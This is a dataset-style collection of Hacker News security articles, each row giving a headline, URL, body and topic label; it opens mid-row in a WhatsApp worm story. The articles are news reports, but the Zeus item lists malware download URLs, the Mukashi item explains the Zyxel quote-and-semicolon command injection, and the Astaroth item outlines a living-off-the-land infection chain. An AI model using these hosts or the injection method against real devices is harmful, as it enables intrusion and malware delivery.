Besides requesting permissions to read notifications, the app also requests intrusive access to run in the background as well as to draw over other apps, meaning the app can overlay any other application running on the device with its own window that can be used to steal credentials and additional sensitive information.
The functionality, according to Stefanko, is to trick users into falling for an adware or subscription scam.
Furthermore, in its current version, the malware code is capable of sending automatic replies only to WhatsApp contacts — a feature that could be potentially extended in a future update to other messaging apps that support Android's quick reply functionality.
While the message is sent only once per hour to the same contact, the contents of the message and the link to the app are fetched from a remote server, raising the possibility that the malware could be used to distribute other malicious websites and apps.
""I don't remember reading and analyzing any Android malware having such functionality to spread itself via whatsapp messages,"" Stefanko told The Hacker News.
Stefanko said the exact mechanism behind how it finds its way to the initial set of directly infected victims is not clear; however, it's to be noted the wormable malware can potentially expand from a few devices to many others incredibly quickly.
""I would say it could be via SMS, mail, social media, channels/chat groups etc,"" Stefanko said.
If anything, the development once again underscores the need to stick to trusted sources to download third-party apps, verify if an app is indeed built by a genuine developer, and carefully scrutinize app permissions before installation.
But the fact the campaign cleverly banks on the trust associated with WhatsApp contacts implies even these countermeasures may not be enough.

",Malware
Vault 8: WikiLeaks Releases Source Code For Hive - CIA's Malware Control System,https://thehackernews.com/2017/11/cia-hive-malware-code.html,"Almost two months after releasing details of 23 different secret CIA hacking tool projects under Vault 7 series, Wikileaks today announced a new Vault 8 series that will reveal source codes and information about the backend infrastructure developed by the CIA hackers.

Not just announcement, but the whistleblower organisation has also published its first batch of Vault 8 leak, releasing source code and development logs of Project Hive—a significant backend component the agency used to remotely control its malware covertly.

In April this year, WikiLeaks disclosed a brief information about Project Hive, revealing that the project is an advanced command-and-control server (malware control system) that communicates with malware to send commands to execute specific tasks on the targets and receive exfiltrated information from the target machines.

Hive is a multi-user all-in-one system that can be used by multiple CIA operators to remotely control multiple malware implants used in different operations.

Hive's infrastructure has been specially designed to prevent attribution, which includes a public facing fake website following multi-stage communication over a Virtual Private Network (VPN).
""Using Hive even if an implant is discovered on a target computer, attributing it to the CIA is difficult by just looking at the communication of the malware with other servers on the internet,"" WikiLeaks says.
As shown in the diagram, the malware implants directly communicate with a fake website, running over commercial VPS (Virtual Private Server), which looks innocent when opened directly into the web browser.
However, in the background, after authentication, the malware implant can communicate with the web server (hosting fake website), which then forwards malware-related traffic to a ""hidden"" CIA server called 'Blot' over a secure VPN connection.

The Blot server then forwards the traffic to an implant operator management gateway called 'Honeycomb.'

In order to evade detection by the network administrators, the malware implants use fake digital certificates for Kaspersky Lab.
""Digital certificates for the authentication of implants are generated by the CIA impersonating existing entities,"" WikiLeaks says.
""The three examples included in the source code build a fake certificate for the anti-virus company Kaspersky Laboratory, Moscow pretending to be signed by Thawte Premium Server CA, Cape Town.""
The whistleblowing organisation has released the source code for Project Hive which is now available for anyone, including investigative journalists and forensic experts, to download and dig into its functionalities.

The source code published in the Vault 8 series only contains software designed to run on servers controlled by the CIA, while WikiLeaks assures that the organisation will not release any zero-day or similar security vulnerabilities which could be abused by others.

",Malware
Indexeus — Search Engine Exposes Malicious Hackers and Data Breaches,https://thehackernews.com/2014/07/indexeus-search-engine-exposes_22.html,"So far, we have seen the search engine for online underground Black Markets, named 'Grams' that lets anyone find illegal drugs and other contraband online in an easier way ever and is pretty much fast like Google Search Engine.

Now, a new search engine has been launched that primarily exposes all the available information of malicious hackers caught up in the very sort of data breaches — including the recent massive breaches at Adobe and Yahoo!

The search engine dubbed as ""Indexeus"", designed by 23-year-old Jason Relinquo of Portugal, boasts a searchable database of ""over 200 million entries available to our customers"". It specifically targeted hackers by listing huge amounts of their information such as email addresses, usernames, passwords, Internet address, physical addresses, birthdays and other information that may be associated with those accounts.

If in case, any hacker want to get their credentials removed or blacklisted from the search engine, it would cost $1per record that they wanted to conceal from public view.
As a disclaimer on the search engine website explained, ""The purpose of Indexeus is not to provide private informations about someone [sic], but to protect them by creating awareness. Therefore we are not responsible for any misuse or malicious use of our content and service.""
Most of the information this 23 year old boy gathered comes from data breaches and hacks of forums popular in the hacking community, which no doubt makes it one of the largest depositories of hackers' personal details ever made available publicly.

The search engine website says that its purpose is to make people more aware of their online security, which they sometimes undermine.
""This is a service which provides easy access to hundreds of databases, which is very useful if you don't want to bring your databases around or if you just don't have any,"" reads the website's FAQ page. ""The goal is to make people realize that using the same information all over is stupid and will lead to you getting your information stolen, but also showing you how badly administrators keep your private data stored.""
Apparently, you no longer have to pay for the removal of any record -- it's free now. Since being exposed by Brian Krebs, Relinquo recently modified his terms of service so that users don't have to pay any dollar to have their information removed or completely blacklisted from the search engine's site.

Obviously, due to the EU's ""right to be forgotten;"" he can not charge for a service that's supposed to be free of charge. However, it remains unclear how users would prove that they are the rightful owner of specific records indexed by the service.
""We're going through some reforms (free blacklisting, plus subscription based searches), due some legal complications that I don't want to escalate,"" Relinquo wrote in a chat session. ""If [Indexeus users] want to keep the logs and pay for the blacklist, it's an option. We also state that in case of a minor, the removal is immediate.""
If the availability of private information made Relinquo able to build the search engine, then you can imagine what amount of private informations of users breached in different hack attacks. It indicates that online privacy and security threats are real, since hackers may already have a user's information without even their knowledge.

However for now, Relinquo have made the removal of information for free, but if it is assumed that $1 per record had actually happened, it would have made him million dollars.

",Data_Breaches
Beware of Zeus Banking Trojan Signed With Valid Digital Signature,https://thehackernews.com/2014/04/beware-of-zeus-banking-trojan-signed.html,"A new dangerous variant of ZeuS Banking Trojan has been identified by Comodo AV labs which is signed by stolen Digital Certificate which belongs to Microsoft Developer to avoid detection from Web browsers and anti-virus systems.

Every Windows PC in the world is set to accept software ""signed"" with Microsoft's digital certificates of authenticity, an extremely sensitive cryptography seal.

Cyber Criminals somehow managed to hack valid Microsoft digital certificate, used it to trick users and admins into trusting the file. Since the executable is digitally signed by the Microsoft developer no antivirus tool could find it as malicious.

Digitally signed malware received a lot of media attention last year. Reportedly, more than 200,000 unique malware binaries were discovered in past two years signed with valid digital signatures.

A Comodo User submitted a sample of the malicious software that attempts to trick user by masquerading itself as file of Internet Explorer and having a valid signature issued to ""isonet ag"".

On execution, the malicious file get installed without any antivirus detection and also tried to download rootkit components from:
lovestogarden.com/images/general/TARGT.tpl
villaveronica.it/images/general/TARGT.tpl
Zeus is one of the oldest families of financial malware, but this new highly sophisticated variant of Zeus Trojan blessed with legitimate way to bypass security checks and launching attacks to obtain the Banking login credentials of victims and committing financial frauds.

The Comodo Team found over 200 unique hits for new variant of this Zeus distributed over mass computers via infected web pages or phishing mail attacks.

JUST BEHIND YOUR WEB BROWSER
Typically, Zeus malware triggers a Man-In-Browser (MitB) attack and allows the hacker to establish a remote session in order to intercept the actions performed by the victim.

""If the attack victim goes to an online banking site to perform a transaction, such as transferring funds, they see everything as occurring normally. The payment information they keyed will display as expected, but behind the scenes the hackers will alter the transaction and send it to another account with possibly a larger amount."" researchers explained.
There are three components of Zeus to launch an attack:
Downloader: Once the malware will get installed via online vulnerability or as an attachment in a phishing email, it will download the rootkit and malware component of the attack.
Malware: It is a stealer that will steal valuable user data, login credentials, credit card info, etc.
Rootkit: This component will hide the installed malware via protecting it from detection and removal. The rootkit is installed by decrypting the downloaded file into the ""Boot Bus Extender"" so that it gets loads prior to any driver and this makes it hard to remove as well.
To protect malicious components and auto-run entries from being deleted by antivirus software 'After decrypting downloaded payload, the rootkit is installed within ""Boot Bus Extender"" to make sure it loads before other drivers.' researchers explained.

HOW TO KICK ZEUS ASS
We have noticed an increase in this trend of signed malware. Windows users are recommended to Install a best Internet Security Tool and Configure the firewall to maximize the security of their computer system. Don't open the links sent to you in mails from unknown sources.

",Malware
Hijacking Virtual Machines with Crisis malware,https://thehackernews.com/2012/08/hijacking-virtual-machines-with-crisis.html,"The Windows version of Crisis, a piece of malware discovered in July, is capable of infecting VMware virtual machine images, Windows Mobile devices and removable USB drives, according to researchers from antivirus vendor Symantec.The installer was actually a Java archive (JAR) file which had been digitally signed by VeriSign.

Crisis is distributed via social engineering attacks that trick users into running a malicious Java applet. The applet identifies the user's OS, Windows or Mac OS X and executes the corresponding installer.

""The threat uses three methods to spread itself: one is to copy itself and an autorun.inf file to a removable disk drive, another is to sneak onto a VMware virtual machine, and the final method is to drop modules onto a Windows Mobile device,"" Symantec explained in a blog post.

Malware authors are putting significant efforts into making sure that new variants of their Trojan programs are not detected by antivirus products when they are released. Also, the threat is capable of spreading to Windows Mobile devices by dropping modules onto devices connected to compromised Windows computers, but does not affect Android or iPhone devices.

However, the Symantec researchers don't know what these modules do yet. ""We currently do not have copies of these modules and hence we are looking for them so we can analyze them in greater detail,"" Katsuki said.

""We currently do not have copies of these modules and hence we are looking for them so we can analyze them in greater detail,"" Katsuki wrote. If you are the intended target, it's very important that you have good security measures.

",Malware
Venom Vulnerability Exposes Most Data Centers to Cyber Attacks,https://thehackernews.com/2015/05/venom-vulnerability.html,"Just after a new security vulnerability surfaced Wednesday, many tech outlets started comparing it with HeartBleed, the serious security glitch uncovered last year that rendered communications with many well-known web services insecure, potentially exposing Millions of plain-text passwords.

But don't panic. Though the recent vulnerability has a more terrific name than HeartBleed, it is not going to cause as much danger as HeartBleed did.

Dubbed VENOM, stands for Virtualized Environment Neglected Operations Manipulation, is a virtual machine security flaw uncovered by security firm CrowdStrike that could expose most of the data centers to malware attacks, but in theory.

Yes, the risk of Venom vulnerability is theoretical as there is no real-time exploitation seen yet, while, on the other hand, last year's HeartBleed bug was practically exploited by hackers unknown number of times, leading to the theft of critical personal information.

Now let's know more about Venom:

Venom (CVE-2015-3456) resides in the virtual floppy drive code used by a several number of computer virtualization platforms that if exploited…

...could allow an attacker to escape from a guest 'virtual machine' (VM) and gain full control of the operating system hosting them, as well as any other guest VMs running on the same host machine.

According to CrowdStrike, this roughly decade-old bug was discovered in the open-source virtualization package QEMU, affecting its Virtual Floppy Disk Controller (FDC) that is being used in many modern virtualization platforms and appliances, including Xen, KVM, Oracle's VirtualBox, and the native QEMU client.

Jason Geffner, a senior security researcher at CrowdStrike who discovered the flaw, warned that the vulnerability affects all the versions of QEMU dated back to 2004, when the virtual floppy controller was introduced at the very first.

However, Geffner also added that so far, there is no known exploit that could successfully exploit the vulnerability. Venom is critical and disturbing enough to be considered a high-priority bug.

Successful exploitation of Venom required:
For successful exploitation, an attacker sitting on the guest virtual machine would need sufficient permissions to get access to the floppy disk controller I/O ports.

When considering on Linux guest machine, an attacker would need to have either root access or elevated privilege. However on Windows guest, practically anyone would have sufficient permissions to access the FDC.

However, comparing Venom with Heartbleed is something of no comparison. Where HeartBleed allowed hackers to probe Millions of systems, Venom bug simply would not be exploitable at the same scale.

Flaws like Venom are typically used in a highly targeted attack such as corporate espionage, cyber warfare or other targeted attacks of these kinds.

Did venom poison Clouds Services?

Potentially more concerning are most of the large cloud providers, including Amazon, Oracle, Citrix, and Rackspace, which rely heavily on QEMU-based virtualization are vulnerable to Venom.

However, the good news is that most of them have resolved the issue, assuring that their customers needn't worry.
""There is no risk to AWS customer data or instances,"" Amazon Web Services said in a statement.
Rackspace also said the flaw does affect a portion of its Cloud Servers, but assured its customers that it has ""applied the appropriate patch to our infrastructure and are working with customers to remediate fully this vulnerability.""

Azure cloud service by Microsoft, on the other hand, uses its homemade virtualization hypervisor technology, and, therefore, its customers are not affected by Venom bug.

Meanwhile, Google also assured that its Cloud Service Platform does not use the vulnerable software, thus was never vulnerable to Venom.

Patch Now! Prevent yourself

Both Xen and QEMU have rolled out patches for Venom. If you're running an earlier version of Xen or QEMU, upgrade and apply the patch.

Note: All versions of Red Hat Enterprise Linux, which includes QEMU, are vulnerable to Venom. Red Hat recommend its users to update their system using the commands, ""yum update"" or ""yum update qemu-kvm.""

Once done, you must ""power off"" all your guests Virtual Machines for the update to take place, and then restart it to be on the safer side. But remember, only restarting without power off the guest operating system is not enough for the administrators because it would still use the old QEMU binary.

",Cyber_Attack
Cybersecurity Firm FireEye Got Hacked; Red-Team Pentest Tools Stolen,https://thehackernews.com/2020/12/cybersecurity-firm-fireeye-got-hacked.html,"FireEye, one of the largest cybersecurity firms in the world, said on Tuesday it became a victim of a state-sponsored attack by a ""highly sophisticated threat actor"" that stole its arsenal of Red Team penetration testing tools it uses to test the defenses of its customers.
The company said it's actively investigating the breach in coordination with the US Federal Bureau of Investigation (FBI) and other key partners, including Microsoft.
It did not identify a specific culprit who might be behind the breach or disclose when the hack exactly took place.
However, The New York Times and The Washington Post reported that the FBI has turned over the investigation to its Russian specialists and that the attack is likely the work of APT29 (or Cozy Bear) — state-sponsored hackers affiliated with Russia's SVR Foreign Intelligence Service — citing unnamed sources.
As of writing, the hacking tools have not been exploited in the wild, nor do they contain zero-day exploits, although malicious actors in possession of these tools could abuse them to subvert security barriers and take control of targeted systems.
Red Team tools are often used by cybersecurity organizations to mimic those used in real-world attacks with the goal of assessing a company's detection and response capabilities and evaluating the security posture of enterprise systems.
The company said the adversary also accessed some internal systems and primarily sought information about government clients but added there's no evidence that the attacker exfiltrated customer information related to incident response or consulting engagements or the metadata collected by its security software.
""This attack is different from the tens of thousands of incidents we have responded to throughout the years,"" FireEye CEO Kevin Mandia wrote in a blog post.
""The attackers tailored their world-class capabilities specifically to target and attack FireEye. They are highly trained in operational security and executed with discipline and focus. They operated clandestinely, using methods that counter security tools and forensic examination. They used a novel combination of techniques not witnessed by us or our partners in the past.""
The accessed Red Team tools run the gamut from scripts used for automating reconnaissance to entire frameworks that are similar to publicly available technologies such as CobaltStrike and Metasploit. A few others are modified versions of publicly available tools designed to evade basic security detection mechanisms, while the rest are proprietary attack utilities developed in-house.
To minimize the potential impact of the theft of these tools, the company has also released 300 countermeasures, including a list of 16 previously disclosed critical flaws that should be addressed to limit the effectiveness of the Red Team tools.
If anything, the development is yet another indication that no companies, counting cybersecurity firms, are immune to targeted attacks.
Major cybersecurity firms such as Kaspersky Lab, RSA Security, Avast, and Bit9 have previously fallen victims to damaging hacks over the past decade.
The incident also bears faint similarities to The Shadow Brokers' leak of offensive hacking tools used by the US National Security Agency in 2016, which also included the EternalBlue zero-day exploit that was later weaponized to distribute the WannaCry ransomware.
""Security companies are a prime target for nation-state operators for many reasons, but not least of all is [the] ability to gain valuable insights about how to bypass security controls within their ultimate targets,"" Crowdstrike's co-founder and former CTO Dmitri Alperovitch said.
The release of red team tools stolen by the adversary ""will go a long way to mitigating the potential impact of this intrusion for organizations all over the world,"" he added.

",Data_Breaches
Watch Out! Microsoft Spotted Spike in Astaroth Fileless Malware Attacks,https://thehackernews.com/2019/07/astaroth-fileless-malware.html,"Security researchers at Microsoft have released details of a new widespread campaign distributing an infamous piece of fileless malware that was primarily being found targeting European and Brazilian users earlier this year.

Dubbed Astaroth, the malware trojan has been making the rounds since at least 2017 and designed to steal users' sensitive information like their credentials, keystrokes, and other data, without dropping any executable file on the disk or installing any software on the victim's machine.

Initially discovered by researchers at Cybereason in February this year, Astaroath lived off the land by running the payload directly into the memory of a targeted computer or by leveraging legitimate system tools, such as WMIC, Certutil, Bitsadmin, and Regsvr32, to run the malicious code.

While reviewing the Windows telemetry data, Andrea Lelli, a researcher at Microsoft Defender ATP Research Team, recently spotted a sudden unusual spike in the usage of Management Instrumentation Command-line (WMIC) tool, leading to the disclosure of a fileless attack.

Further investigation revealed that the attackers behind this campaign are distributing multi-stage Astaroth malware through spear-phishing emails with a malicious link to a website hosting an LNK shortcut file.

Clicking the shortcut file executes Windows built-in WMIC tool that downloads and executes a JavaScript code, which further abuses the Bitsadmin tool to download all other malicious payloads that actually perform the malicious tasks of pilfering and uploading the victim's data while disguising itself as a system process.

""All the payloads are Base64-encoded and decoded using the Certutil tool. Two of them result in plain DLL files (the others remain encrypted),"" the researcher said in a blog post published Monday.

""The Regsvr32 tool is then used to load one of the decoded DLLs, which in turn decrypt and loads other files until the final payload, Astaroth, is injected into the Userinit process.""

This means that the malware doesn't rely on any vulnerability exploit or traditional trojan downloader to download anything on the targeted system. Instead, it completely relies on system tools and commands during its entire attack chain to masquerade as a regular activity.
This technique is called ""living off the land"" and lets the malware evade detection from most end-point antivirus security solutions which are based on static files analysis.

The initial access and execution stages to silently install the Astaroth malware on target devices have been demonstrated in the above-shown attack chain.

Once on the targeted system, Astaroth tries to steal sensitive information like credentials, keystrokes, and other data, and send it to a remote server controlled by the attackers.

The attacker can then use this stolen data to try ""moving laterally across networks, carry out financial theft, or sell victim information in the cybercriminal underground,"" the researcher said.

Microsoft said the various feature of its Defender ATP next-generation protection could detect such fileless malware attacks at each infection stage, while other file-centric security solutions fail to protect their customers.

Andrea said: ""being fileless doesn't mean being invisible; it certainly doesn't mean being undetectable. There's no such thing as the perfect cybercrime: even fileless malware leaves a long trail of evidence.""

To know more about the Astaroth malware, you can head on to the Cybereason blog post published in February this year, in-depth detailing about the working of the malware and its abilities.

",Cyber_Attack
Russian Cyber Criminals selling hacked websites access in Underground stores,https://thehackernews.com/2013/08/russian-hackers-underground-hacking-websites.html,"Underground sites more commonly offer access to networks of compromised machines or stolen credit card information. Webroot has uncovered a criminal underground store dedicated to selling access to more than tens of thousands of hacked legitimate websites.
Their customers can buy an administrator account or shell access in a hacked website, at cheap price i.e. $0.5 to $10 and then allows to perpetrate criminal activities from it, distribute malware, install a botnet command & control infrastructure, upload illegal content, send spam, and so on.

In Screenshots Researchers shows an underground market proposition, whose inventory is currently listing over 6000 compromised/hacked shells internationally. Sites are listed based on the price, page rank, age of the domain, Alexa ranking, language, and number of pages indexed by Google.

The site promised access to any number of the compromised websites and the store seems to be quite profitable. The website found to be in the Russian language and some software installed in the server was set to Russian language.

It's very difficult to crack down on cyber criminals because the Internet makes it easier for people to do things anonymously and from any location on the globe. Many computers used in cyber attacks have actually been hacked and are being controlled by someone far away.

The criminals running the store have made the most of basic vulnerabilities with a basic tool set. This is a good example of what can happen to a website if it is not properly protected, or has a weak password.

",Vulnerability
On 4th August SAP systems will be hacked on internet in BlackHat USA 2011,https://thehackernews.com/2011/08/on-4th-august-sap-systems-will-be.html,"On 4th August SAP systems will be hacked on internet in BlackHat USA 2011

On the 4th of august at the world largest technical security conference - BlackHat USA 2011, which will take place in Las Vegas, SAP security expert and CTO of ERPScan Alexander Polyakov will show how any malicious attacker can get access to the systems running on SAP via Internet using new critical vulnerability.

SAP systems are used in more than 100 000 world companies to handle business-critical data and processes. Almost in each company from Forbes 500 system data are set for the handling of any process beginning from purchasing, human resources and financial reporting and ending with communication with other business systems. Thus receiving an access by the malicious attacker leads to complete control over the financial flow of the company, which can be used for espionage, sabotage and fraudful actions against hacked company.

The given attack is possible due to dangerous vulnerability of the new type, detected by Alexander in J2EE engine of SAP NetWeaver software, which allows bypassing authorization checks. For example it is possible to create a user and assign him to the administrators group using two unauthorized requests to the system. It is also dangerous because that attack is possible on systems, protected by the two-factor authentication systems, in which it is needed to know secret key and password to get access. To prove it researchers from ERPScan created a program, which detects SAP servers in the Internet with help of secret Google keyword and checks found servers on potential dangerous vulnerability. As the result, more than half of available servers could be hacked with help of found vulnerability.

""Danger is in that it is not only a new vulnerability, but a whole class of vulnerabilities that was theoretically described earlier but not popular in practice. During our research we only detected several examples in standard system configuration, and because each company customizes the system under its own business processes, new examples of vulnerabilities of the given class can be potentially detected at each company in the future. We have developed a free program which can detect unique vulnerabilities of such type in order to protect companies on time and it is also included in our professional product – ERPScan Security Scanner for SAP."" — noted Alexander.

Source

",Vulnerability
Energy Department networks hit by major Cyber Attack,https://thehackernews.com/2013/02/energy-department-networks-hit-by-major.html,"The Computer networks of Energy Department were attacked by unknown hackers in a major cyber attack two weeks ago and personal information on several hundred employees was compromised.

The Washington Free Beacon reports that, FBI agents are investigating the attacks and 14 computer servers and 20 workstations reportedly were penetrated during the attack. Officials are working to determine the exact nature of the attack and the extent of potential damage.

""They believe the sophisticated penetration attack was not limited to stealing personal information. There are indications the attackers had other motives, possibly including plans to gain future access to classified and other sensitive information.""

The security breach resulted in the unauthorized disclosure of employee and contractor Personally Identifiable Information (PII) of several hundred people.

Department is in the process of notifying employees whose information was stolen. However, Chinese hackers are likely suspects because the department is known to be a major target of China for both secrets and technology.

Last week, New York Times and Wall Street Journal also discloses that they were also hacked by Chinese Hackers and recently 250,000 Twitter accounts was also compromised in similar sophisticated cyber attack.

",Data_Breaches
Two British Men Arrested For Hacking Microsoft,https://thehackernews.com/2017/06/hacker-arrested-for-hacking-microsoft.html,"British police have arrested two men in the UK conspiring to hack into the computer networks of US tech giant Microsoft with plans to steal customers' data from the software giant.

The suspects — 22-year-old from Sleaford and a 25-year-old from Bracknell — were arrested by the detectives from the Britain's South East Regional Organised Crime Unit (SEROCU) Thursday morning (22 June 2017).

The UK authorities arrested them from their home in Lincolnshire and Bracknell and seized a number of devices after searching their home.

While it is still unclear what systems were targeted, SEROCU believes the suspects are part of a larger international group that involved breaking into the Microsoft's network between January 2017 and March 2017 to scoop up the customer information.
""This group is spread around the world and therefore the investigation is being coordinated with our various partners,"" Rob Bryant, detective sergeant SEROCU's Cyber Crime Unit said while announcing the arrest. ""We have made two arrests in the UK this morning and have seized a number of devices.""
""We're still in the early stages of this investigation and will work with our partners to ensure that cyber criminals have no place to hide. It's too early to speculate on what information the group has accessed, however, after speaking with Microsoft we can confirm they didn't gain access to customer information.""
Both the suspects, whose identities have not yet revealed by the police, are currently in custody and have been charged under the Britain's Computer Misuse Act for conspiracy to gain ""unauthorised access"" to protected computers belonging to Microsoft.

In response to the arrests, Tom Burt, Microsoft VP and deputy general counsel of the Digital Crimes Unit released a statement to BBC, saying:
""Today's action by authorities in the UK represents an important step...Stronger internet security depends on the ability to identify and prosecute cybercriminals. This requires not only a strong technical capability but the willingness to acknowledge issues publicly and refer them to law enforcement.""
""No company is immune from cybercrime. No customer data was accessed, and we're confident in the integrity of our software and systems. We have comprehensive measures in place to prevent, detect, and respond to attacks.""
SEROCU officials said they are working with Europol, the NCA's National Cyber Crime Unit, the FBI, the East Midlands Special Operations Unit (EMSOU), and Microsoft's cyber team to investigate the intrusions and bring culprits to justice.

",Data_Breaches
Adware Companies buying popular Chrome extensions to inject Ads and Malware,https://thehackernews.com/2014/01/adware-companies-buying-popular-chrome.html,"Browser extensions are extra features and functionality that you can easily add to Google Chrome, Firefox and other popular Browsers, but they can be used to serve malicious adware, which automatically renders advertisements in order to generate revenue for its author.
Hackers are now taking their business rather more seriously than we thought. Even a single instance of malicious adware on your PC can inject bad ads or malware to your browser.

Ads are a legitimate way to monetize. However, creating and spreading a fresh add-on to get a large user base is always tough, but now adware companies found a new trick i.e. Buying trusted browser extensions with a large user-base and exploiting their auto-update status to push out adware.

Recently, the developer of 'Add to Feedly' Chrome extension with 30,000+ users, Amit Agarwal, was approached by some mysterious buyers. ""It was a 4-figure offer for something that had taken an hour to create and I agreed to the deal,"" he said.
""I transferred the ownership of the extension to a particular Google Account. A month later, the new owners of the Feedly extension pushed an update to the Chrome store. No, the update didn't bring any new features to the table, nor contained any bug fixes. Instead, they incorporated advertising into the extension.""
Google updates chrome extensions silently in the background, and majority of the users would not be able to notice the changes. But when Google Chrome is affected by adware, you may experience frequent pop-up ads and redirection to malicious domains.
""These aren't regular banner ads that you see on web pages, these are invisible ads that work the background and replace links on every website that you visit into affiliate links.""
Ad injections are not in violation of the Chrome Web Store program policies, but it must be presented in the context of the extension or, when present within another page, ads must be outside the page's normal flow and clearly state which extension they are bundled with.

After reviewing Amit's extension, now Google has finally removed it from the Chrome web store. If your browser is also infected with Adware or any other type of malicious software, check your browser add-ons and extensions regularly, disabling those you don't use and those that look suspicious.

",Malware
Mukashi: A New Mirai IoT Botnet Variant Targeting Zyxel NAS Devices,https://thehackernews.com/2020/03/zyxel-mukashi-mirai-iot-botnet.html,"A new version of the infamous Mirai botnet is exploiting a recently uncovered critical vulnerability in network-attached storage (NAS) devices in an attempt to remotely infect and control vulnerable machines.

Called ""Mukashi,"" the new variant of the malware employs brute-force attacks using different combinations of default credentials to log into Zyxel NAS, UTM, ATP, and VPN firewall products to take control of the devices and add them to a network of infected bots that can be used to carry out Distributed Denial of Service (DDoS) attacks.

Multiple Zyxel NAS products running firmware versions up to 5.21 are vulnerable to the compromise, Palo Alto Networks' Unit 42 global threat intelligence team said, adding they uncovered the first such exploitation of the flaw in the wild on March 12.

Zyxel's Pre-Authentication Command Injection Flaw

Mukashi hinges on a pre-authentication command injection vulnerability (tracked as CVE-2020-9054), for which a proof-of-concept was only made publicly available last month. The flaw resides in a ""weblogin.cgi"" program used by the Zyxel devices, thereby potentially allowing attackers to perform remote code execution via command injection.

""The executable weblogin.cgi doesn't properly sanitize the username parameter during authentication. The attacker can use a single quote (') to close the string and a semicolon (;) to concat arbitrary commands to achieve command injection,"" according to Unit 42 researchers. ""Since weblogin.cgi accepts both HTTP GET and POST requests, the attacker can embed the malicious payload in one of these HTTP requests and gain code execution.""


Zyxel issued a patch for the vulnerability last month after it emerged that precise instructions for exploiting the flaw were being sold in underground cybercrime forums for $20,000 for use against targets. But the update doesn't address the flaw on many older unsupported devices.

As a workaround, the Taiwan-based networking equipment maker has urged users of those affected models to not leave the products directly exposed to the Internet, and connect them to a security router or firewall for additional protection.

Mukashi Targets Zyxel NAS Devices

Just like other Mirai variants, Mukashi operates by scanning the Internet for vulnerable IoT devices like routers, NAS devices, security cameras, and digital video recorders (DVRs), looking for potential hosts that are protected only by factory-default credentials or commonly-used passwords to co-opt them into the botnet.

If a brute-force login turns out to be successful, Mukashi not only reports the login attempt to a remote attacker-controlled command-and-control (C2) server but also awaits further commands to launch DDoS attacks.


""When it's executed, Mukashi prints the message 'Protecting your device from further infections.' to the console,"" Unit42 researchers said. ""The malware then proceeds to change its process name to dvrhelper, suggesting Mukashi may inherit certain traits from its predecessor.""

Mirai's History of DDoS attacks

The Mirai botnet, since its discovery in 2016, has been linked to a string of large-scale DDoS attacks, including one against DNS service provider Dyn in October 2016, causing major internet platforms and services to remain inaccessible to users in Europe and North America.

Since then, numerous variants of Mirai have sprung up, in part due to the availability of its source code on the Internet since 2016.

It's recommended that all Zyxel consumers download the firmware update to protect devices from Mukashi hijacks. Updating default credentials with complex login passwords can also go a long way towards preventing such brute-force attacks.

The full list of Zyxel products affected by the flaw is available here. You can also test if a Zyxel NAS device is vulnerable here.

",Cyber_Attack
"AOL Hit by Massive Data Breach, Urges Users to Change Passwords",https://thehackernews.com/2014/04/aol-hit-by-massive-data-breach-urges.html,"If you are a user of the American On-Line (AOL) mail service then you are advised to change your password as soon as possible.

AOL Inc. on Monday confirmed the company suffered a massive data breach that may have affected a ""significant number"" of email accounts.

The company has issued a warning to users that their personal information including email addresses, postal addresses, address books, encrypted passwords and the encrypted answers to security question-answers, has been stolen by attackers, the New York-based company said Monday.

""The ongoing investigation of this serious criminal activity is our top priority,"" AOL said in a blog post. ""We are working closely with federal authorities to pursue this investigation to its resolution. Our security team has put enhanced protective measures in place, and we urge our users to take proactive steps to help ensure the security of their accounts.""

AOL said it began investigating the matter after it noticed a spike in spoofed emails from AOL user accounts. The company believes that hackers used the contact information to send spoofed emails that appear to come from roughly 2 percent of its email accounts.

""Spoofed"" emails are kind of phishing emails or messages that masquerade itself as if they have come from legitimate user accounts known to the recipient in order to trick the recipient into opening it, but in real are the links to malicious websites or malware.

The company believes that neither the financial data of users such as credit and debit cards number, nor the passwords or the answer to the security questions has been revealed as the hackers weren't be able to break the encryption.

""Importantly, we have no indication that the encryption on the passwords or the answers to security questions was broken,"" AOL wrote. ""In addition, at this point in the investigation, there is no indication that this incident resulted in disclosure of users' financial information, including debit and credit cards, which is also fully encrypted.""

Nevertheless, AOL suggests all its users to reset their passwords and also change their security questions and answers in order to protect themselves from such breaches.

""Although there is no indication that the encryption on the passwords or answers to security questions was broken, as a precautionary measure, we nevertheless strongly encourage our users and employees to reset their passwords used for any AOL service and, when doing so, also to change their security question and answer,"" AOL said.

In addition, it also provided some steps to protect its users from cyber threats:
Do not click on any suspicious links or attachments in the email you received.
When in doubt, contact the sender to confirm that he or she actually sent the email to you or not.
Never provide your personal or financial information through an email to someone you do not know.
AOL will never ask you for your password or any other sensitive personal information over an email.
If you found yourself a victim of spoofing, inform your friends that your emails may have been spoofed and warn them to avoid clicking the links in suspicious emails.

",Malware
Anonymous Hackers Target Israeli Websites and Leak Credentials,https://thehackernews.com/2015/04/anonymous-cyber-attack-israel.html,"The infamous hacking group Anonymous that vowed an 'Electronic Holocaust' against Israel and promised to 'erase Israel from cyberspace' on 7th April, managed to launch a cyber attack, beginning Tuesday morning.

In a spooky video ""message to Israel"" posted on YouTube March 4, Anonymous declared cyber attack against Israel on April 7 in response to what the group calls 'crimes in the Palestinian territories.'

Today we noticed a number of hacking incidents against Israeli cyberspace under #OpIsrael.

Anonymous conduct #OpIsrael attack against Israel every year on 7th April and this is the fourth annual cyber attack on Israel in order to protest against Israeli bombing on the Palestinian territory.

CYBER ATTACKS AGAINST ISRAEL
Today, Anonymous and Pro-Palestinian hackers targeted dozens of Israeli Government websites, including the Knesset portal (parliament), as well as websites related to the Israeli court system and the Education Ministry.

In Brief, Anonymous group claimed following cyber attacks:
At least 150,000 phone numbers, Facebook, Gmail and Hotmail Israel accounts have been hacked.
The official website of Israeli Singer Shalom Hanoch was hacked.
The website of the Israeli Center for Educational Excellence was also taken down.
The hacktivist group replaced the affected websites' homepages with photos of a Muslim holy site in Jerusalem and militants holding the Islamic State militant flag, with a message signed by ""AnonGhost.""

While many website owners have taken the threats seriously. However, Israel's Computer Emergency Response Team issued a statement saying that no major government sites were affected, as they were already aware of this and was ready to foil the attacks.

ANONYMOUS HACKER LEAKS LOGINS TO 6,000 ROUTERS
Anonymous published log-in credentials (usernames and passwords) for nearly 6,000 Israel Routers publicly.

However, router password dump doesn't damage the Israeli cyber-infrastructure instantly, but these sensitive credentials for Israel network could be used later by anyone, hackers or law enforcement, to penetrate into the affected modems.

